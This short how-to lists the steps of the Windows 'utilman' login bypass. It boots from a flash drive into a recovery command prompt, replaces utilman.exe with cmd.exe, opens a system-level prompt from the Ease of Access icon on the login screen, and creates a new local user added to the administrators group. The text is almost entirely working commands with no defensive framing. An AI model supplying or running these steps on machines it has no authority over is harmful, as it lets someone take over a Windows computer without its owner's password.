Boot from a flash drive, select repair, troubleshoot, command prompt
cd windows\system32
copy utilman.exe utilman.old
copy cmd.exe utilman.exe
rebootClick on the the Easy of Access icon (botton right corner), this will open a command prompt
net user # this will show the list of local users
net user /add newusername newuserpassword # add a new user with given password
net localgroup administrators newusername /add #add new user to admin group